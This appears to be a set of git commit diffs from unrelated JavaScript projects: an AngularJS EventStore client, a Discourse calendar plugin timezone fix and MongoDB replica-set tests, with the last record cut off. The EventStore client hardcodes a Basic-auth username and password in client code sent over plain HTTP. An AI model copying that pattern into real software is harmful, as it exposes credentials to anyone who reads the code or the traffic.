    const tags = paper.tags
    const removeidx = tags.indexOf(data.tag)
    if (removeidx > -1) tags.splice(removeidx, 1)

    paper.tags = tags
    return paper
  })

  send('result_replace', {
    key: state.selection.list.map(p => p.key),
    paper: newPapers
  }, alldone)
  send('collection_updatepaper', newPapers, alldone)
  send('tag_removepaper', {
    tag: data.tag,
    paper: state.selection.list
  }, alldone)
}
<|endoftext|>


<commit_before>angular.module('eventStore', ['guid', 'base64'])

    .factory('EventStore', function ($http, $q, $timeout, guid, Base64) {

        var url = 'http://es-subbed.cloudapp.net/streams/',
            //url = 'http://localhost:2113/streams/',
            token = Base64.encode('messager:messager');

        processEntries = function (entries, onEntry) {
            var getEntryPromises = [];

            entries.reverse().forEach(function (entry) {
                var alternateLink = getLink(entry.links, "alternate");

                var entryPromise =
                    $http
                        .get(alternateLink.uri, {
                            headers: {
                                'Authorization': 'Basic ' + token
                            }
                        })
                        .success(function (data) {
                            onEntry(data);
                        });

                getEntryPromises.push(entryPromise);
            });
            return $q.all(getEntryPromises);
        };

        processPrevUri = function (prevUri, onEvent) {
            $http
                .get(prevUri, {
                    headers: {
                        'Content-Type': 'vnd.eventstore.atom+json',
                        'Authorization': 'Basic ' + token
                    }
                })
                .success(function (data) {
                    processEntries(data.entries, onEvent)
                        .then(function () {
                            var previousLink = getLink(data.links, "previous");

                            if (previousLink) {
                                processPrevUri(previousLink.uri, onEvent);
                            } else {
                                $timeout(function () {
                                    processPrevUri(prevUri, onEvent);
                                }, 500);
                            }
                        });
                });
        };

        getLast = function (streamName) {
            var defer = $q.defer();
            $http
                .get(url + streamName, {
                    headers: {
                        'Authorization': 'Basic ' + token,
                        'Accept': 'application/vnd.eventstore.atom+json'
                    }
                })
                .success(function (data) {
                    var lastLink = getLink(data.links, "last");
                    if (!lastLink) {
                        lastLink = getLink(data.links, "self");
                    }
                    defer.resolve(lastLink);
                });
            return defer.promise;
        };

        getPrevious = function (streamName) {
            var defer = $q.defer();
            $http
                .get(url + streamName, {
                    headers: {
                        'Authorization': 'Basic ' + token,
                        'Accept': 'application/vnd.eventstore.atom+json'
                    }
                })
                .success(function (data) {
                    var previousLink = getLink(data.links, "previous");
                    defer.resolve(previousLink);
                });
            return defer.promise;
        };

        getLink = function (links, type) {
            var result = null;
            links.forEach(function (link) {
                if (link.relation === type) {
                    result = link;
                }
            });
            return result;
        };

        var exports = {

            appendToStream: function (streamName, eventType, eventData) {
                var streamUrl = url + streamName;
                var data = [{
                    eventId: guid.new(),
                    eventType: eventType,
                    data: eventData
                }];

                $http.post(streamUrl, data, {
                    headers: {
                        'Authorization': 'Basic ' + token,
                        'Content-Type': 'application/vnd.eventstore.events+json'
                    }
                })
            },

            subscribeToStream: function (streamName, onEvent) {
                getPrevious(streamName)
                    .then(function (previousLink) {
                        processPrevUri(previousLink.uri, onEvent);
                    });
            }
        };

        return exports;
    });

<commit_msg>fixed url<commit_after>angular.module('eventStore', ['guid', 'base64'])

    .factory('EventStore', function ($http, $q, $timeout, guid, Base64) {

        var url = 'http://msgboard-events.cloudapp.net:2113/streams/',
            //url = 'http://localhost:2113/streams/',
            token = Base64.encode('messager:messager');

        processEntries = function (entries, onEntry) {
            var getEntryPromises = [];

            entries.reverse().forEach(function (entry) {
                var alternateLink = getLink(entry.links, "alternate");

                var entryPromise =
                    $http
                        .get(alternateLink.uri, {
                            headers: {
                                'Authorization': 'Basic ' + token
                            }
                        })
                        .success(function (data) {
                            onEntry(data);
                        });

                getEntryPromises.push(entryPromise);
            });
            return $q.all(getEntryPromises);
        };

        processPrevUri = function (prevUri, onEvent) {
            $http
                .get(prevUri, {
                    headers: {
                        'Content-Type': 'vnd.eventstore.atom+json',
                        'Authorization': 'Basic ' + token
                    }
                })
                .success(function (data) {
                    processEntries(data.entries, onEvent)
                        .then(function () {
                            var previousLink = getLink(data.links, "previous");

                            if (previousLink) {
                                processPrevUri(previousLink.uri, onEvent);
                            } else {
                                $timeout(function () {
                                    processPrevUri(prevUri, onEvent);
                                }, 500);
                            }
                        });
                });
        };

        getLast = function (streamName) {
            var defer = $q.defer();
            $http
                .get(url + streamName, {
                    headers: {
                        'Authorization': 'Basic ' + token,
                        'Accept': 'application/vnd.eventstore.atom+json'
                    }
                })
                .success(function (data) {
                    var lastLink = getLink(data.links, "last");
                    if (!lastLink) {
                        lastLink = getLink(data.links, "self");
                    }
                    defer.resolve(lastLink);
                });
            return defer.promise;
        };

        getPrevious = function (streamName) {
            var defer = $q.defer();
            $http
                .get(url + streamName, {
                    headers: {
                        'Authorization': 'Basic ' + token,
                        'Accept': 'application/vnd.eventstore.atom+json'
                    }
                })
                .success(function (data) {
                    var previousLink = getLink(data.links, "previous");
                    defer.resolve(previousLink);
                });
            return defer.promise;
        };

        getLink = function (links, type) {
            var result = null;
            links.forEach(function (link) {
                if (link.relation === type) {
                    result = link;
                }
            });
            return result;
        };

        var exports = {

            appendToStream: function (streamName, eventType, eventData) {
                var streamUrl = url + streamName;
                var data = [{
                    eventId: guid.new(),
                    eventType: eventType,
                    data: eventData
                }];

                $http.post(streamUrl, data, {
                    headers: {
                        'Authorization': 'Basic ' + token,
                        'Content-Type': 'application/vnd.eventstore.events+json'
                    }
                })
            },

            subscribeToStream: function (streamName, onEvent) {
                getPrevious(streamName)
                    .then(function (previousLink) {
                        processPrevUri(previousLink.uri, onEvent);
                    });
            }
        };

        return exports;
    });

<|endoftext|>


<commit_before>import { registerOption } from "pretty-text/pretty-text";

const DATA_PREFIX = "data-schedule-";
const WHITELISTED_ATTRIBUTES = ["title", "all_day", "start_date_time", "end_date_time"];
const ATTRIBUTES_REGEX = new RegExp("(" + WHITELISTED_ATTRIBUTES.join("|") + ")=(['\"][\\S\\s\^\\]]+['\"]|['\"]?[^\\s\\]]+['\"]?)", "g");
const VALUE_REGEX = new RegExp("^['\"]?([\\s\\S]+)['\"]?$", "g");

registerOption((siteSettings, opts) => {
  const currentUser = (opts.getCurrentUser && opts.getCurrentUser(opts.userId)) || opts.currentUser;
  const staff = currentUser && currentUser.staff;
  opts.features.schedule = (siteSettings.calendar_enabled || staff);
});

export function setup(helper) {
  helper.whiteList([
    "div.discourse-calendar-schedule discourse-ui-card",
    "div[data-*]",
    "div.content",
    "div.schedule-date-time content",
    "div.extra content",
    "div.header"
  ]);

  helper.replaceBlock({
    start: new RegExp("\\[schedule((?:\\s+(?:" + WHITELISTED_ATTRIBUTES.join("|") + ")=(?:['\"][^\\n]+['\"]|[^\\s\\]]+))+)\\]([\\s\\S]*)", "igm"),
    stop: /\[\/schedule\]/igm,

    emitter(blockContents, matches) {
      const attributes = { "class": "discourse-calendar-schedule discourse-ui-card" };
      const contents = [];

      if (blockContents.length){
        const postProcess = bc => {
          if (typeof bc === "string" || bc instanceof String) {
            const processed = this.processInline(String(bc));
            if (processed.length) {
              contents.push(["p"].concat(processed));
            }
          } else {
            contents.push(bc);
          }
        };

        let b;
        while ((b = blockContents.shift()) !== undefined) {
          this.processBlock(b, blockContents).forEach(postProcess);
        }
      }

      const title = [];
      const duration = ["div", {"class": "schedule-date-time content"}];
      const extraContents = ["div", {"class": "extra content"}];
      let startDateTime;
      let endDateTime;
      let dateFormat = "LLL";
      let allDay = false;
      let startEndRange = " ~ ";
      (matches[1].match(ATTRIBUTES_REGEX) || []).forEach(function(m) {
        const idx = m.indexOf("=");
        const name = m.substring(0, idx);
        let value = m.substring(idx+1);
        if(value.startsWith("'") && value.endsWith("'") || value.startsWith("\"") && value.endsWith("\"")){
          value = value.substring(1, value.length-1);
        }

        const escaped = helper.escape(value);
        switch (name) {
          case "title":
            if(escaped) title.push("div", {"class": "content"}, ["div", {"class": "header"}, escaped]);
            break;

          case "start_date_time":
            startDateTime = new Date(escaped);
            break;

          case "end_date_time":
            endDateTime = new Date(escaped);
            break;

          case "all_day":
            allDay = (escaped === "true");
            break;
        }
      });

      if(!startDateTime || isNaN(startDateTime.getDate()) || (endDateTime && isNaN(endDateTime.getDate()))){
        return ["div"].concat(contents);
      }

      if(!endDateTime){
        if(allDay){
         endDateTime = new Date(startDateTime);
        }else{
         endDateTime = new Date(startDateTime);
         endDateTime = endDateTime.setHours(endDateTime.getHours() + 1);
        }
      }

      attributes[DATA_PREFIX + "start"] = startDateTime.getTime().toString();
      attributes[DATA_PREFIX + "end"] = endDateTime.getTime().toString();
      attributes[DATA_PREFIX + "all-day"] = allDay.toString();

      if(allDay) {
        startEndRange = startDateTime.toDateString().concat(startEndRange).concat(endDateTime.toDateString());
      }else{
        startEndRange = startDateTime.toDateString().concat(" ".concat(startDateTime.toLocaleTimeString())).concat(startEndRange).concat(endDateTime.toDateString().concat(" ".concat(endDateTime.toLocaleTimeString())));
      }

      const schedule = ["div", attributes];

      if(title.length > 0) schedule.push(title);
      duration.push(startEndRange);
      schedule.push(duration);

      if(contents && contents.length > 0){
        extraContents.push(contents[0]);
        schedule.push(extraContents);
      }

      return schedule;
    }
  });
}
<commit_msg>Fix date timezone offset problem<commit_after>import { registerOption } from "pretty-text/pretty-text";

const DATA_PREFIX = "data-schedule-";
const WHITELISTED_ATTRIBUTES = ["title", "all_day", "start_date_time", "end_date_time"];
const ATTRIBUTES_REGEX = new RegExp("(" + WHITELISTED_ATTRIBUTES.join("|") + ")=(['\"][\\S\\s\^\\]]+['\"]|['\"]?[^\\s\\]]+['\"]?)", "g");
const VALUE_REGEX = new RegExp("^['\"]?([\\s\\S]+)['\"]?$", "g");

registerOption((siteSettings, opts) => {
  const currentUser = (opts.getCurrentUser && opts.getCurrentUser(opts.userId)) || opts.currentUser;
  const staff = currentUser && currentUser.staff;
  opts.features.schedule = (siteSettings.calendar_enabled || staff);
});

export function setup(helper) {
  helper.whiteList([
    "div.discourse-calendar-schedule discourse-ui-card",
    "div[data-*]",
    "div.content",
    "div.schedule-date-time content",
    "div.extra content",
    "div.header"
  ]);

  helper.replaceBlock({
    start: new RegExp("\\[schedule((?:\\s+(?:" + WHITELISTED_ATTRIBUTES.join("|") + ")=(?:['\"][^\\n]+['\"]|[^\\s\\]]+))+)\\]([\\s\\S]*)", "igm"),
    stop: /\[\/schedule\]/igm,

    emitter(blockContents, matches) {
      const attributes = { "class": "discourse-calendar-schedule discourse-ui-card" };
      const contents = [];

      if (blockContents.length){
        const postProcess = bc => {
          if (typeof bc === "string" || bc instanceof String) {
            const processed = this.processInline(String(bc));
            if (processed.length) {
              contents.push(["p"].concat(processed));
            }
          } else {
            contents.push(bc);
          }
        };

        let b;
        while ((b = blockContents.shift()) !== undefined) {
          this.processBlock(b, blockContents).forEach(postProcess);
        }
      }

      const title = [];
      const duration = ["div", {"class": "schedule-date-time content"}];
      const extraContents = ["div", {"class": "extra content"}];
      let startDateTime;
      let endDateTime;
      let dateFormat = "LLL";
      let allDay = false;
      let startEndRange = " ~ ";
      (matches[1].match(ATTRIBUTES_REGEX) || []).forEach(function(m) {
        const idx = m.indexOf("=");
        const name = m.substring(0, idx);
        let value = m.substring(idx+1);
        if(value.startsWith("'") && value.endsWith("'") || value.startsWith("\"") && value.endsWith("\"")){
          value = value.substring(1, value.length-1);
        }

        const escaped = helper.escape(value);
        switch (name) {
          case "title":
            if(escaped) title.push("div", {"class": "content"}, ["div", {"class": "header"}, escaped]);
            break;

          case "start_date_time":
            startDateTime = new Date(escaped);
            break;

          case "end_date_time":
            endDateTime = new Date(escaped);
            break;

          case "all_day":
            allDay = (escaped === "true");
            break;
        }
      });

      if(!startDateTime || isNaN(startDateTime.getDate()) || (endDateTime && isNaN(endDateTime.getDate()))){
        return ["div"].concat(contents);
      }

      if(!endDateTime){
        if(allDay){
         endDateTime = new Date(startDateTime);
        }else{
         endDateTime = new Date(startDateTime);
         endDateTime = endDateTime.setHours(endDateTime.getHours() + 1);
        }
      }

      if(allDay) {
        startEndRange = startDateTime.toDateString().concat(startEndRange).concat(endDateTime.toDateString());
      }else{
        startDateTime = new Date(startDateTime.getTime() + (startDateTime.getTimezoneOffset() * 60000));
        endDateTime = new Date(endDateTime.getTime() + (endDateTime.getTimezoneOffset() * 60000));
        startEndRange = startDateTime.toDateString().concat(" ".concat(startDateTime.toLocaleTimeString())).concat(startEndRange).concat(endDateTime.toDateString().concat(" ".concat(endDateTime.toLocaleTimeString())));
      }

      attributes[DATA_PREFIX + "start"] = startDateTime.getTime().toString();
      attributes[DATA_PREFIX + "end"] = endDateTime.getTime().toString();
      attributes[DATA_PREFIX + "all-day"] = allDay.toString();

      const schedule = ["div", attributes];

      if(title.length > 0) schedule.push(title);
      duration.push(startEndRange);
      schedule.push(duration);

      if(contents && contents.length > 0){
        extraContents.push(contents[0]);
        schedule.push(extraContents);
      }

      return schedule;
    }
  });
}
<|endoftext|>


<commit_before>"use strict";

var fs = require('fs')
  , f = require('util').format;

var restartAndDone = function(configuration, test) {
  configuration.manager.restart(function() {
    test.done();
  });
}

exports.beforeTests = function(configuration, callback) {
  configuration.restart({purge:false, kill:true}, function() {
    callback();
  });
}

// ../topology_test_descriptions/rs/new_primary.json
exports['New primary'] = {
  metadata: {
    requires: {
      topology: "replicaset"
    }
  },

  test: function(configuration, test) {
    var Server = configuration.require.Server
      , ServerManager = require('mongodb-tools').ServerManager
      , ReplSet = configuration.require.ReplSet
      , manager = configuration.manager;

    // State
    var state = {'primary':[], 'secondary': [], 'arbiter': [], 'passive': []};
    // Get the primary server
    manager.getServerManagerByType('primary', function(err, primaryServerManager) {
      test.equal(null, err);

      var config = [{
          host: primaryServerManager.host
        , port: primaryServerManager.port
      }];

      var options = {
        setName: configuration.setName
      };

      // Attempt to connect
      var server = new ReplSet(config, options);
      server.on('fullsetup', function(_server) {
        var removedServer = null;

        // Let's listen to changes
        server.on('left', function(_t, _server) {
          if(_t == 'primary') {
            test.equal(f('%s:%s', primaryServerManager.host, primaryServerManager.port), _server.name);
          }
        });

        server.on('joined', function(_t, _server) {
          if(_t == 'primary') {
            test.ok(server.state.primary != null);
            test.equal(3, server.state.secondaries.length);
            test.equal(1, server.state.arbiters.length);
            test.equal(1, server.state.passives.length);
            server.destroy();
            restartAndDone(configuration, test);
          }
        });

        manager.stepDown(function(err) {});
      });

      // Start connection
      server.connect();
    });
  }
}

// ../topology_test_descriptions/rs/discover_arbiters.json
exports['Discover arbiters'] = {
  metadata: {
    requires: {
      topology: "replicaset"
    }
  },

  test: function(configuration, test) {
    var Server = configuration.require.Server
      , ReplSet = configuration.require.ReplSet
      , manager = configuration.manager;

    // Get the primary server
    manager.getServerManagerByType('primary', function(err, serverManager) {
      test.equal(null, err);

      // Attempt to connect
      var server = new ReplSet([{
          host: serverManager.host
        , port: serverManager.port
      }], {
        setName: configuration.setName
      });

      server.on('joined', function(_type, _server) {
        if(_type == 'arbiter') {
          server.destroy();
          restartAndDone(configuration, test);
        }
      });

      // Start connection
      server.connect();
    });
  }
}

// ../topology_test_descriptions/rs/discover_passives.json
exports['Discover passives'] = {
  metadata: {
    requires: {
      topology: "replicaset"
    }
  },

  test: function(configuration, test) {
    var Server = configuration.require.Server
      , ReplSet = configuration.require.ReplSet
      , manager = configuration.manager;

    // Get the primary server
    manager.getServerManagerByType('primary', function(err, serverManager) {
      test.equal(null, err);

      // Attempt to connect
      var server = new ReplSet([{
          host: serverManager.host
        , port: serverManager.port
      }], {
        setName: configuration.setName
      });

      server.on('joined', function(_type, _server) {
        if(_type == 'passive') {
          server.destroy();
          restartAndDone(configuration, test);        }
      });

      // Start connection
      server.connect();
    });
  }
}

// ../topology_test_descriptions/rs/discover_primary.json
exports['Discover primary'] = {
  metadata: {
    requires: {
      topology: "replicaset"
    }
  },

  test: function(configuration, test) {
    var Server = configuration.require.Server
      , ReplSet = configuration.require.ReplSet
      , manager = configuration.manager;

    // Get the primary server
    manager.getServerManagerByType('primary', function(err, serverManager) {
      test.equal(null, err);

      // Attempt to connect
      var server = new ReplSet([{
          host: serverManager.host
        , port: serverManager.port
      }], {
        setName: configuration.setName
      });

      server.on('joined', function(_type, _server) {
        if(_type == 'primary') {
          server.destroy();
          restartAndDone(configuration, test);
        }
      });

      // Start connection
      server.connect();
    });
  }
}

// ../topology_test_descriptions/rs/discover_secondary.json
exports['Discover secondaries'] = {
  metadata: {
    requires: {
      topology: "replicaset"
    }
  },

  test: function(configuration, test) {
    var Server = configuration.require.Server
      , ReplSet = configuration.require.ReplSet
      , manager = configuration.manager;

    // Get the primary server
    manager.getServerManagerByType('primary', function(err, serverManager) {
      test.equal(null, err);

      // Attempt to connect
      var server = new ReplSet([{
          host: serverManager.host
        , port: serverManager.port
      }], {
        setName: configuration.setName
      });

      var count = 0;
      server.on('joined', function(_type, _server) {
        if(_type == 'secondary') count = count + 1;
        if(count == 2) {
          server.destroy();
          restartAndDone(configuration, test);
        }
      });

      // Start connection
      server.connect();
    });
  }
}

// ../topology_test_descriptions/rs/discovery.json
exports['Replica set discovery'] = {
  metadata: {
    requires: {
      topology: "replicaset"
    }
  },

  test: function(configuration, test) {
    var Server = configuration.require.Server
      , ReplSet = configuration.require.ReplSet
      , manager = configuration.manager;

    // State
    var state = {'primary':1, 'secondary': 2, 'arbiter': 1, 'passive': 1};
    // Get the primary server
    manager.getServerManagerByType('primary', function(err, serverManager) {
      test.equal(null, err);

      // Attempt to connect
      var server = new ReplSet([{
          host: serverManager.host
        , port: serverManager.port
      }], {
        setName: configuration.setName
      });

      server.on('joined', function(_type, _server) {
        state[_type] = state[_type] - 1;

        if(state.primary == 0
          && state.secondary == 0
          && state.arbiter == 0
          && state.passive == 0) {
          server.destroy();
          restartAndDone(configuration, test);
        }
      });

      // Start connection
      server.connect();
    });
  }
}

var waitForPrimary = function(ReplSet, count, config, options, callback) {
  if(count == 0) return callback(new Error("could not connect"));
  // Attempt to connect
  var server = new ReplSet(config, options);
  server.on('error', function(err) {
    server.destroy();

    setTimeout(function() {
      waitForPrimary(ReplSet, count - 1, config, options, callback);
    }, 1000);
  });

  server.on('fullsetup', function(_server) {
    server.destroy();
    callback();
  });

  // Start connection
  server.connect();
}

// ../topology_test_descriptions/rs/ghost_discovery.json
exports['Ghost discovered/Member brought up as standalone'] = {
  metadata: {
    requires: {
      topology: "replicaset"
    }
  },

  test: function(configuration, test) {
    var Server = configuration.require.Server
      , ServerManager = require('mongodb-tools').ServerManager
      , ReplSet = configuration.require.ReplSet
      , manager = configuration.manager;

    // State
    var state = {'primary':1, 'secondary': 1, 'arbiter': 1, 'passive': 1};
    // Get the primary server
    manager.getServerManagerByType('primary', function(err, primaryServerManager) {
      test.equal(null, err);

      // Get the secondary server
      manager.getServerManagerByType('secondary', function(err, serverManager) {
        test.equal(null, err);

        // Stop the secondary
        serverManager.stop(function(err, r) {

          // Start a new server manager
          var nonReplSetMember = new ServerManager({
              host: serverManager.host
            , port: serverManager.port
            , dbpath: serverManager.dbpath
            , logpath: serverManager.logpath
          });

          // Start a non replset member
          nonReplSetMember.start(function() {
            var config = [{
                host: primaryServerManager.host
              , port: primaryServerManager.port
            }];

            var options = {
              setName: configuration.setName
            };

            // Wait for primary
            waitForPrimary(ReplSet, 30, config, options, function(err, r) {
              test.equal(null, err);

              // Attempt to connect
              var server = new ReplSet(config, options);
              server.on('joined', function(_type, _server) {
                state[_type] = state[_type] - 1;

                if(state.primary == 0
                  && state.secondary == 0
                  && state.arbiter == 0
                  && state.passive == 0) {
                  server.destroy();

                  // Stop the normal server
                  nonReplSetMember.stop(function() {
                    // Restart the secondary server
                    serverManager.start(function() {
                      restartAndDone(configuration, test);
                    });
                  });
                }
              });

              // Start connection
              server.connect();
            });
          });
        });
      });
    });
  }
}

// ../topology_test_descriptions/rs/hosts_differ_from_seeds.json
exports['Host list differs from seeds'] = {
  metadata: {
    requires: {
      topology: "replicaset"
    }
  },

  test: function(configuration, test) {
    var Server = configuration.require.Server
      , ReplSet = configuration.require.ReplSet
      , manager = configuration.manager;

    // State
    var state = {'primary':1, 'secondary': 2, 'arbiter': 1, 'passive': 1};
    // Get the primary server
    manager.getServerManagerByType('primary', function(err, serverManager) {
      test.equal(null, err);

      // Attempt to connect
      var server = new ReplSet([{
          host: serverManager.host
        , port: serverManager.port
      }, {
          host: 'localhost'
        , port: 41000
      }], {
        setName: configuration.setName
      });

      server.on('joined', function(_type, _server) {
        state[_type] = state[_type] - 1;

        if(state.primary == 0
          && state.secondary == 0
          && state.arbiter == 0
          && state.passive == 0) {
          server.destroy();
          restartAndDone(configuration, test);
        }
      });

      // Start connection
      server.connect();
    });
  }
}

// ../topology_test_descriptions/rs/primary_becomes_standalone.json
exports['Primary becomes standalone'] = {
  metadata: {
    requires: {
      topology: "replicaset"
    }
  },

  test: function(configuration, test) {
    var Server = configuration.require.Server
      , ServerManager = require('mongodb-tools').ServerManager
      , ReplSet = configuration.require.ReplSet
      , manager = configuration.manager;

    // State
    var joined = {'primary':[], 'secondary': [], 'arbiter': [], 'passive': []};
    var left = {'primary':[], 'secondary': [], 'arbiter': [], 'passive': []};
    // Get the primary server
    manager.getServerManagerByType('primary', function(err, primaryServerManager) {
      test.equal(null, err);

      // Get the secondary server
      manager.getServerManagerByType('secondary', function(err, serverManager) {
        test.equal(null, err);

        // Start a new server manager
        var nonReplSetMember = new ServerManager({
            host: primaryServerManager.host
          , port: primaryServerManager.port
          , dbpath: primaryServerManager.dbpath
          , logpath: primaryServerManager.logpath
        });

        var config = [{
            host: serverManager.host
          , port: serverManager.port
        }];

        var options = {
          setName: configuration.setName
        };

        // Attempt to connect
        var server = new ReplSet(config, options);
        server.on('fullsetup', function(_server) {
          server.on('joined', function(_type, _server) {
            joined[_type].push(_server);

            if(_type == 'primary') {
              server.destroy();
              restartAndDone(configuration, test);
            }
          });

          server.on('left', function(_type, _server) {
            left[_type].push(_server);
          });

          // Stop the primary
          primaryServerManager.stop(function(err, r) {

            // Start a non replset member
            nonReplSetMember.start(function() {

              // Wait for primary
              waitForPrimary(ReplSet, 30, config, options, function(err, r) {
                test.equal(null, err);

                // Stop the normal server
                nonReplSetMember.stop(function() {

                  // Restart the primary server
                  primaryServerManager.start(function() {

                    // Wait for primary
                    waitForPrimary(ReplSet, 30, config, options, function(err, r) {
                      test.equal(null, err);
                      test.equal(1, left.primary.length);
                      test.equal(1, left.secondary.length);
                    });
                  });
                });
              });
            });
          });
        });

        // Start connection
        server.connect();
      });
    });
  }
}

// ../topology_test_descriptions/rs/member_reconfig.json
exports['Member removed by reconfig'] = {
  metadata: {
    requires: {
      topology: "replicaset"
    }
  },

  test: function(configuration, test) {
    var Server = configuration.require.Server
      , ServerManager = require('mongodb-tools').ServerManager
      , ReplSet = configuration.require.ReplSet
      , manager = configuration.manager;

    // State
    var state = {'primary':[], 'secondary': [], 'arbiter': [], 'passive': []};
    // Get the primary server
    manager.getServerManagerByType('primary', function(err, primaryServerManager) {
      test.equal(null, err);

      manager.getServerManagerByType('secondary', function(err, secondaryServerManager) {
        test.equal(null, err);

        var config = [{
            host: primaryServerManager.host
          , port: primaryServerManager.port
        }];

        var options = {
          setName: configuration.setName
        };

        // Contains the details for the removed server
        var removedSever = null;
        // Attempt to connect
        var server = new ReplSet(config, options);
        server.on('fullsetup', function(_server) {
          var removedServer = null;

          // Save number of secondaries
          var numberOfSecondaries = server.state.secondaries.length;
          var numberOfArbiters = server.state.arbiters.length;
          var numberOfPassives = server.state.passives.length;

          // Let's listen to changes
          server.on('left', function(_t, _server) {
          });

          server.on('joined', function(_t, _server) {
            if(_t == 'primary') {
              test.ok(server.state.primary != null);
              test.ok(numberOfSecondaries != server.state.secondaries.length);
              test.equal(1, server.state.arbiters.length);
              test.equal(1, server.state.passives.length);
              server.destroy();

              // Add back the secondary
              manager.add(removedServer, function(err) {
                test.equal(null, err);
                restartAndDone(configuration, test);
              });
            }
          });

          // Get the secondary server
          manager.remove('secondary', function(err, _removedServer) {
            test.equal(null, err);
            removedServer = _removedServer;

            // Force new election
            manager.stepDown({force:true}, function(err) {});
          });
        });

        // Start connection
        server.connect();
      });
    });
  }
}
<commit_msg>Switched to setImmediate for connection pool connectivity #17<commit_after>"use strict";

var fs = require('fs')
  , f = require('util').format;

var restartAndDone = function(configuration, test) {
  configuration.manager.restart(function() {
    test.done();
  });
}

exports.beforeTests = function(configuration, callback) {
  configuration.restart({purge:false, kill:true}, function() {
    callback();
  });
}

// // ../topology_test_descriptions/rs/new_primary.json
// exports['New primary'] = {
//   metadata: {
//     requires: {
//       topology: "replicaset"
//     }
//   },

//   test: function(configuration, test) {
//     var Server = configuration.require.Server
//       , ServerManager = require('mongodb-tools').ServerManager
//       , ReplSet = configuration.require.ReplSet
//       , manager = configuration.manager;

//     // State
//     var state = {'primary':[], 'secondary': [], 'arbiter': [], 'passive': []};
//     // Get the primary server
//     manager.getServerManagerByType('primary', function(err, primaryServerManager) {
//       test.equal(null, err);

//       var config = [{
//           host: primaryServerManager.host
//         , port: primaryServerManager.port
//       }];

//       var options = {
//         setName: configuration.setName
//       };

//       // Attempt to connect
//       var server = new ReplSet(config, options);
//       server.on('fullsetup', function(_server) {
//         var removedServer = null;

//         // Let's listen to changes
//         server.on('left', function(_t, _server) {
//           if(_t == 'primary') {
//             test.equal(f('%s:%s', primaryServerManager.host, primaryServerManager.port), _server.name);
//           }
//         });

//         server.on('joined', function(_t, _server) {
//           if(_t == 'primary') {
//             test.ok(server.state.primary != null);
//             test.equal(3, server.state.secondaries.length);
//             test.equal(1, server.state.arbiters.length);
//             test.equal(1, server.state.passives.length);
//             server.destroy();
//             restartAndDone(configuration, test);
//           }
//         });

//         manager.stepDown(function(err) {});
//       });

//       // Start connection
//       server.connect();
//     });
//   }
// }

// ../topology_test_descriptions/rs/discover_arbiters.json
exports['Discover arbiters'] = {
  metadata: {
    requires: {
      topology: "replicaset"
    }
  },

  test: function(configuration, test) {
    var Server = configuration.require.Server
      , ReplSet = configuration.require.ReplSet
      , manager = configuration.manager;

    // Get the primary server
    manager.getServerManagerByType('primary', function(err, serverManager) {
      test.equal(null, err);

      // Attempt to connect
      var server = new ReplSet([{
          host: serverManager.host
        , port: serverManager.port
      }], {
        setName: configuration.setName
      });

      server.on('joined', function(_type, _server) {
        if(_type == 'arbiter') {
          server.destroy();
          restartAndDone(configuration, test);
        }
      });

      // Start connection
      server.connect();
    });
  }
}

// ../topology_test_descriptions/rs/discover_passives.json
exports['Discover passives'] = {
  metadata: {
    requires: {
      topology: "replicaset"
    }
  },

  test: function(configuration, test) {
    var Server = configuration.require.Server
      , ReplSet = configuration.require.ReplSet
      , manager = configuration.manager;

    // Get the primary server
    manager.getServerManagerByType('primary', function(err, serverManager) {
      test.equal(null, err);

      // Attempt to connect
      var server = new ReplSet([{
          host: serverManager.host
        , port: serverManager.port
      }], {
        setName: configuration.setName
      });

      server.on('joined', function(_type, _server) {
        if(_type == 'passive') {
          server.destroy();
          restartAndDone(configuration, test);        }
      });

      // Start connection
      server.connect();
    });
  }
}

// ../topology_test_descriptions/rs/discover_primary.json
exports['Discover primary'] = {
  metadata: {
    requires: {
      topology: "replicaset"
    }
  },

  test: function(configuration, test) {
    var Server = configuration.require.Server
      , ReplSet = configuration.require.ReplSet
      , manager = configuration.manager;

    // Get the primary server
    manager.getServerManagerByType('primary', function(err, serverManager) {
      test.equal(null, err);

      // Attempt to connect
      var server = new ReplSet([{
          host: serverManager.host
        , port: serverManager.port
      }], {
        setName: configuration.setName
      });

      server.on('joined', function(_type, _server) {
        if(_type == 'primary') {
          server.destroy();
          restartAndDone(configuration, test);
        }
      });

      // Start connection
      server.connect();
    });
  }
}

// ../topology_test_descriptions/rs/discover_secondary.json
exports['Discover secondaries'] = {
  metadata: {
    requires: {
      topology: "replicaset"
    }
  },

  test: function(configuration, test) {
    var Server = configuration.require.Server
      , ReplSet = configuration.require.ReplSet
      , manager = configuration.manager;

    // Get the primary server
    manager.getServerManagerByType('primary', function(err, serverManager) {
      test.equal(null, err);

      // Attempt to connect
      var server = new ReplSet([{
          host: serverManager.host
        , port: serverManager.port
      }], {
        setName: configuration.setName
      });

      var count = 0;
      server.on('joined', function(_type, _server) {
        if(_type == 'secondary') count = count + 1;
        if(count == 2) {
          server.destroy();
          restartAndDone(configuration, test);
        }
      });

      // Start connection
      server.connect();
    });
  }
}

// ../topology_test_descriptions/rs/discovery.json
exports['Replica set discovery'] = {
  metadata: {
    requires: {
      topology: "replicaset"
    }
  },

  test: function(configuration, test) {
    var Server = configuration.require.Server
      , ReplSet = configuration.require.ReplSet
      , manager = configuration.manager;

    // State
    var state = {'primary':1, 'secondary': 2, 'arbiter': 1, 'passive': 1};
    // Get the primary server
    manager.getServerManagerByType('primary', function(err, serverManager) {
      test.equal(null, err);

      // Attempt to connect
      var server = new ReplSet([{
          host: serverManager.host
        , port: serverManager.port
      }], {
        setName: configuration.setName
      });

      server.on('joined', function(_type, _server) {
        state[_type] = state[_type] - 1;

        if(state.primary == 0
          && state.secondary == 0
          && state.arbiter == 0
          && state.passive == 0) {
          server.destroy();
          restartAndDone(configuration, test);
        }
      });

      // Start connection
      server.connect();
    });
  }
}

var waitForPrimary = function(ReplSet, count, config, options, callback) {
  if(count == 0) return callback(new Error("could not connect"));
  // Attempt to connect
  var server = new ReplSet(config, options);
  server.on('error', function(err) {
    server.destroy();

    setTimeout(function() {
      waitForPrimary(ReplSet, count - 1, config, options, callback);
    }, 1000);
  });

  server.on('fullsetup', function(_server) {
    server.destroy();
    callback();
  });

  // Start connection
  server.connect();
}

// ../topology_test_descriptions/rs/ghost_discovery.json
exports['Ghost discovered/Member brought up as standalone'] = {
  metadata: {
    requires: {
      topology: "replicaset"
    }
  },

  test: function(configuration, test) {
    var Server = configuration.require.Server
      , ServerManager = require('mongodb-tools').ServerManager
      , ReplSet = configuration.require.ReplSet
      , manager = configuration.manager;

    // State
    var state = {'primary':1, 'secondary': 1, 'arbiter': 1, 'passive': 1};
